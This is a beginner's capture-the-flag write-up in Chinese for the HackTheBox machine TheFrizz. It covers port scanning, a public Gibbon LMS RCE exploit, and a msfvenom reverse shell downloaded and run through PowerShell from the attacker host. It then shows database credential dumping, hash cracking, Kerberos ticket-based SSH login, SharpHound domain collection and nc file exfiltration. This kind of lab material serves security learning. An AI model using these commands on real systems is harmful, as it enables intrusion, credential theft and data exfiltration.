[HTB] 靶机学习(二)TheFrizz
靶机学习(二)TheFrizz概要
学习hackthebox的第二天,本人为初学者,将以初学者的角度对靶机渗透进行学习,中途可能会插入一些跟实操关系不大的相关新概念的学习和解释,尽量做到详细,不跳步,所以也会有理解不正确的地方,欢迎大佬们提出指正
信息收集
nmap -sC -sV -F 10.10.11.60
-F表示扫描top100端口PORT STATE SERVICE VERSION
22/tcpopenssh OpenSSH for_Windows_9.5 (protocol 2.0)
53/tcpopendomain Simple DNS Plus
80/tcpopenhttp Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
|_http-title: Did not follow redirect to http://frizzdc.frizz.htb/home/
88/tcpopenkerberos-secMicrosoft Windows Kerberos (server time: 2025-05-02 21:16:39Z)
135/tcp openmsrpc Microsoft Windows RPC
139/tcp opennetbios-ssn Microsoft Windows netbios-ssn
389/tcp openldap Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
445/tcp openmicrosoft-ds?启用了80端口web服务,389端口AD域,445端口Microsoft Directory Services和139端口netbios-ssn(NetBIOS Session Service),都是smb服务,88端口Kerberos服务
添加frizzdc.frizz.htb到hosts文件
访问http://frizzdc.frizz.htb/home/
点击staff login,找到版本号,搜索看有没有漏洞
CVE-2023-34598(LFI)
有CVE-2023-34598,本地文件包含漏洞,q参数后面跟文件名,但没有发现什么重要信息
再找找看,找到有rce利用
CVE-2023-45878 RCE
https://github.com/ulricvbs/gibbonlms-filewrite_rce
python gibbonlms_cmd_shell.py http://frizzdc.frizz.htb
windows反弹shell
常用命令可以去棱角查
(https://forum.ywhack.com/bountytips.php?download)
用msf生成反弹shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.14 LPORT=1234 -f exe -o winrar.exe 在当前目录开启web服务器,方便后续靶机下载exe
python -m http.server 8888
用powershell下载exe
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.14:8888/winrar.exe')"
运行exe
lvUy.php?cmd=> .\winrar.exe
看一下域用户
通过dir命令,看到有config.php
type config.php查看config.php内容,得到数据库用户名密码
数据库信息
尝试进入数据库,找一下mysql.exe在哪
powershell -Command "Get-ChildItem -Path C:\ -Recurse -Filter 'mysql.exe' -ErrorAction SilentlyContinue | Select-Object FullName"
切换目录后,列出数据库
.\mysql.exe -u MrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "show databases;"
列出gibbon的表
.\mysql.exe -u MrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "SHOW TABLES;" gibbon
查询gibbonperson表的内容
.\mysql.exe -u MrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "USE gibbon; SELECT * FROM gibbonperson;" -E
-E表示输出为垂直格式,更好看得到了用户名,密码哈希和加密的盐
f.frizzle
067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03
/aACFhikmNopqrRTVz2489
看一下是哪种类型的hash
hash-identifier 067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03大概就是sha-256
hash爆破
hash1.txt
但dynamic_82似乎是sha512格式的,这里不是很清楚
?:$dynamic_82$067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03$/aACFhikmNopqrRTVz2489john --format=dynamic='sha256($s.$p)' --wordlist=/usr/share/wordlists/rockyou.txt hash1.txt得到密码Jenni_Luvs_Magic23
尝试用ssh登录,没有提示输入密码,看来是禁止了密码登录,gssapi-with-mic的意思是Kerberos 认证,从之前的nmap也能发现开放了kerberos服务,应该是要用kerberos票据登录
kerberos通信流程学习
在实操之前,先了解一下kerberos的整个通信流程
1.在尝试使用 SSH 连接到目标服务器之前,首先客户端需要从 KDC(Key Distribution Center) 获取一个 TGT。
KDC也就是DC域控里的一个组件
KDC(Kerberos 认证中心)包含两个主要的服务:
[*]AS(Authentication Server):用于验证用户身份并发放 TGT。
[*]TGS(Ticket Granting Server):根据 TGT 请求发放服务票据
(注:TGT 是经过加密的凭据,包含:用户信息,有效期,一个加密的会话密钥(用于后续加密通信),它允许客户端向 TGS(Ticket Granting Server) 请求针对特定服务的访问权限。是一个临时的凭证,具有有效期。)
客户端发起 Kerberos 认证请求,发送自己的用户名和密码(或通过其他方式验证身份)。请求包里还会有时间戳等信息,发送给AS认证服务器, 本次靶机实操是用 impacket-getTGT 工具来完成
impacket-getTGT frizz.htb/'f.frizzle':'Jenni_Luvs_Magic23' -dc-ip frizzdc.frizz.htb由于 Kerberos 验证涉及时间戳,KDC 和客户端的系统时间必须同步。如果时间差过大(通常超过 5 分钟),KDC 会拒绝认证请求,因为它会认为请求可能是重放攻击,如本次靶机实操中的同步时间命令
ntpdate frizzdc.frizz.htb2.KDC 会检查用户的密码是否正确,如果身份验证成功,AS 会返回一个 TGT(Ticket Granting Ticket) 给客户端。
3.获取到 TGT 后,客户端需要将 Kerberos 票据保存在一个缓存文件中,通常是一个 .ccache 文件。客户端需要设置环境变量 KRB5CCNAME,以便后续的命令能够找到该缓存文件。如本次靶机实操中
export KRB5CCNAME=f.frizzle.ccache4.客户端尝试通过 SSH 连接到目标服务器,SSH 客户端会使用存储在 TGT 中的凭据自动完成认证过程,而无需输入传统的密码。
ssh f.frizzle@frizz.htb -K -K 选项告诉 SSH 客户端使用 Kerberos 票据进行认证,而不是提示用户输入密码。
客户端使用刚才获取的 TGT 去找 TGS(Ticket Granting Service),请求一个访问某个服务(比如 SSH)的服务票据(TGS Ticket)。(注:上述ssh命令的底层会自动读取本地 TGT,自动与 TGS 通信,申请 SSH 服务对应的 TGS 票据,然后自动发送给目标服务)
5.TGS 会解密 TGT,验证客户端身份。如果验证成功,TGS 会生成一个 服务票据(Service Ticket),并返回给客户端
6.客户端收到 服务票据 后,就可以向目标服务(如文件服务器、数据库)发起请求,本次靶机是ssh服务
7.当目标服务器收到来自客户端的 Kerberos 票据时,使用预先存储的 服务密钥 解密票据,验证客户端身份。
如果票据有效,服务会接受客户端的请求,最终建立连接
差不多如图所示
TGT票据
使用用户 f.frizzle 和密码 Jenni_Luvs_Magic23 从域控 frizzdc.frizz.htb 获取TGT(Ticket Granting Ticket)。
ntpdate frizzdc.frizz.htb
impacket-getTGT frizz.htb/'f.frizzle':'Jenni_Luvs_Magic23' -dc-ip frizzdc.frizz.htbntpdate同步域控时间,然后申请TGT
出现本机和域控之间系统时间相隔太大的情况,kerberos拒绝颁发票据,这是由于kali虚拟机自动同步时间的关系,会把刚刚和域控同步的时间覆盖,暂时关闭即可
export KRB5CCNAME=f.frizzle.ccache添加环境变量,后面就可以免密连接
再次尝试ssh连接,发现还是失败
ssh f.frizzle@frizz.htb -K
需要添加hosts
10.10.11.46 frizzdc.frizz.htb frizz.htb同时在kali上修改 /etc/krb5.conf,这个是 Kerberos 的配置文件,通过这种方式,Kerberos 客户端可以使用该配置与 Kerberos 认证服务器进行通信
.frizz.htb = FRIZZ.HTB
frizz.htb = FRIZZ.HTB
default_realm = FRIZZ.HTB
dns_lookup_realm = false
dns_lookup_kdc = true
ticket_lifetime = 24h
forwardable = true
FRIZZ.HTB = {
kdc = FRIZZDC.FRIZZ.HTB
admin_server = FRIZZDC.FRIZZ.HTB
default_domain = FRIZZ.HTB
}然后再
ssh f.frizzle@frizz.htb -K 或者
ssh f.frizzle@frizzdc.frizz.htb -K
使用 -K 参数通过 GSSAPI 认证如果有报错,建议四个命令一起运行
ntpdate frizzdc.frizz.htb
impacket-getTGT frizz.htb/'f.frizzle':'Jenni_Luvs_Magic23' -dc-ip frizzdc.frizz.htbexport KRB5CCNAME=f.frizzle.ccachessh f.frizzle@frizz.htb -K在桌面拿到第一个flag
权限提升
BloodHound安装和使用
BloodHound 是一个能够深入了解 Active Directory 环境中的权限关系的工具。
安装bloodhound,一开始用root用户安装后,启动报错,搜索得知不能用root安装
apt-get remove bloodhound换成kali用户
sudo apt-get install bloodhound
会自动把neo4j也安装了
neo4j start
默认用户密码是neo4j/neo4j
然后修改密码
neo4j安装成功
然后bound命令启动界面,填入用户名和刚刚修改的密码,能正常看到界面就是安装成功
但似乎也有问题
最后安装了4.0.3版本
https://github.com/SpecterOps/BloodHound-Legacy/releases/download/4.0.3/BloodHound-linux-x64.zip下载得到zip
上传到kali上,解压缩
SharpHound是配合BloodHound收集AD域信息的工具
然后去
https://github.com/SpecterOps/BloodHound-Legacy/blob/f4d9c1af1529124d33c9f360a27686eea51755e1/Collectors/SharpHound.exe
下载SharpHound.exe到kali上
像前面一样用python开启web服务
然后用靶机下载nc.exe
PS C:\Users\f.frizzle> powershell.exe -Command "Invoke-WebRequest -Uri http://10.10.14.14:8888/nc.exe -OutFile nc.exe"再下载SharpHound.exe
PS C:\Users\f.frizzle> powershell.exe -Command "Invoke-WebRequest -Uri http://10.10.14.14:8888/BloodHound/SharpHound.exe -OutFile SharpHound.exe" 收集域信息
PS C:\Users\f.frizzle> .\SharpHound.exe -c all
再把生成的zip传给kali
kali端
nc -nvlp 3333 > 2025.zip靶机端
PS C:\Users\f.frizzle> cmd /c "nc.exe 10.10.14.14 3333 < 20250503133433_BloodHound.zip"启动BloodHound,记得用普通用户启动,root用户有报错
./BloodHound --no-sandbox然后上传zip,要是上传完还是没数据,重新启动BloodHound即可,然后刷新数据库
发现m.schoolbus有比较高的权限,所以后续尝试看看能不能用m.schoolbus用户登录
再看看有没有有用的信息,看看回收站
在powershell里,需要用反引号`对$进行转义
cd "${env:SystemDrive}\`$Recycle.Bin"
Get-ChildItem -Force切换到cmd,然后把7z压缩包用nc传给kali
cmdC:\Users\f.frizzle\nc.exe 10.10.14.14 3333
页:
[1]